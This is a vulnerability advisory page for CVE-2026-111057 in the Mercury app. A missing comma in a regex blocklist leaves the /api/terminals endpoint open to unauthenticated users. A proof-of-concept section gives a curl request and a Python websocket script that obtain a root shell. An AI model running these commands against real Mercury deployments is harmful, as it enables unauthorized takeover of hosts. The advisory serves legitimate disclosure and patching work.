Get a Demo

Let's Patch It!

Book a short call with one our specialists, we'll walk you through how Endor Patches work, and ask you a few questions about your environment (like your primary programming languages and repository management). We'll also send you an email right after you fill out the form, feel free to reply with any questions you have in advance!

CVE

CVE-2026-111057

Mercury: Unauthenticated Remote Code Execution in /api/terminals - access control bypass
Back to all
CVE

CVE-2026-111057

Mercury: Unauthenticated Remote Code Execution in /api/terminals - access control bypass

Summary

A missing comma in mercuryapp/blockhandler.py's BLOCKED_PATTERNS list causes the blocklist to fail to cover the /api/terminals endpoint. As a result, any unauthenticated attacker can spawn a full, interactive OS-level shell on the host running Mercury.

Details

The blocklist in mercuryapp/blockhandler.py is defined as:

BLOCKED_PATTERNS = [
    # JupyterLab UI + API
    r"/lab(?!/(?:extensions/|api/settings(?:/|$)|api/translations(?:/|$)))(?:/.*)?"
    r"/api/terminals(?:/.*)?",
    r"/api/shutdown(?:/.*)?",
    r"/files(?:/.*)?",
]

The missing comma between the first and the second line causes Python to merge the rules, therefore the actual list that is blocked looks like this:

/lab...(?:/.*)?/api/terminals(?:/.*)? (the first two lines joined together)

/api/shutdown(?:/.*)?

/files(?:/.*)?

A direct request to /api/terminals does not match any of the 3 blocklist rules and is therefore not blocked, reaching Jupyter

Server's built-in terminal API, which spawns a real OS shell accessible over a WebSocket connection. No authentication, account, session or pre-existing access to Mercury is required.

PoC

Testing was performed on a local Docker deployment (https://runmercury.com/deploy/dockerfile/), Mercury version 3.2.3, default

configuration.

 

Step 1 - spawn a terminal:

​

curl -i -X POST http://localhost:8888/api/terminals

Response: {"name": "1", "last_activity": "..."}

Step 2 - connect to the terminal and execute commands:

​

python3 -c "
import websocket, json, time
ws = websocket.create_connection('ws://localhost:8888/terminals/websocket/1')
print(ws.recv())
ws.send(json.dumps(['stdin', 'whoami && id\n']))
time.sleep(1)
ws.settimeout(2)
try:
    while True:
        print(ws.recv())
except Exception:
    pass
"

​

Observed output:

["setup", {}]
["stdout", "# "]
["stdout", "whoami && id\r\n"]
["stdout", "root\r\n"]
["stdout", "uid=0(root) gid=0(root) groups=0(root)\r\n# "]

​

Confirms full, interactive root shell access with no authentication or prior access of any kind.

​

Impact

  • Confidentiality: full read access to any file the Mercury process can access (notebooks, uploaded data, environment variables, secrets).
  • Integrity: attacker can modify or delete any file, including notebooks served to other users.
  • Availability: attacker can shut down or crash the server/container.
  • Lateral movement: the shell can be used as a foothold to attack other systems reachable from the host's network.

Exploitable by any network client that can reach the Mercury server, including the public internet if it is deployed without additional access controls (VPN, reverse-proxy authentication, firewall).

Fix

Add the missing comma so /api/terminals becomes an independent blocklist rule:

BLOCKED_PATTERNS = [
    # JupyterLab UI + API
    r"/lab(?!/(?:extensions/|api/settings(?:/|$)|api/translations(?:/|$)))(?:/.*)?",
    r"/api/terminals(?:/.*)?",
    r"/api/shutdown(?:/.*)?",
    r"/files(?:/.*)?",
]

Package Versions Affected

Package Version
patch Availability
No items found.

Automatically patch vulnerabilities without upgrading

Fix Without Upgrading
Detect compatible fix
Apply safe remediation
Fix with a single pull request

CVSS Version

Severity
Base Score
CVSS Version
Score Vector
C
H
U
10
-
3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
C
H
U
0
-
3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
C
H
U
-

Related Resources

No items found.

References

https://github.com/mljar/mercury/security/advisories/GHSA-f8c7-rwf9-fmgm, https://github.com/mljar/mercury/commit/8c467129037ee9df269d543ac217ffd33b97bf3f, https://github.com/mljar/mercury, https://github.com/mljar/mercury/releases/tag/v3.2.4

Severity

10

CVSS Score
0
10

Basic Information

Base CVSS
10
EPSS Probability
0.02659%
EPSS Percentile
0.86065%
Introduced Version
3.0.0
Fix Available
3.2.4

Fix Critical Vulnerabilities Instantly

Secure your app without upgrading.
Fix Without Upgrading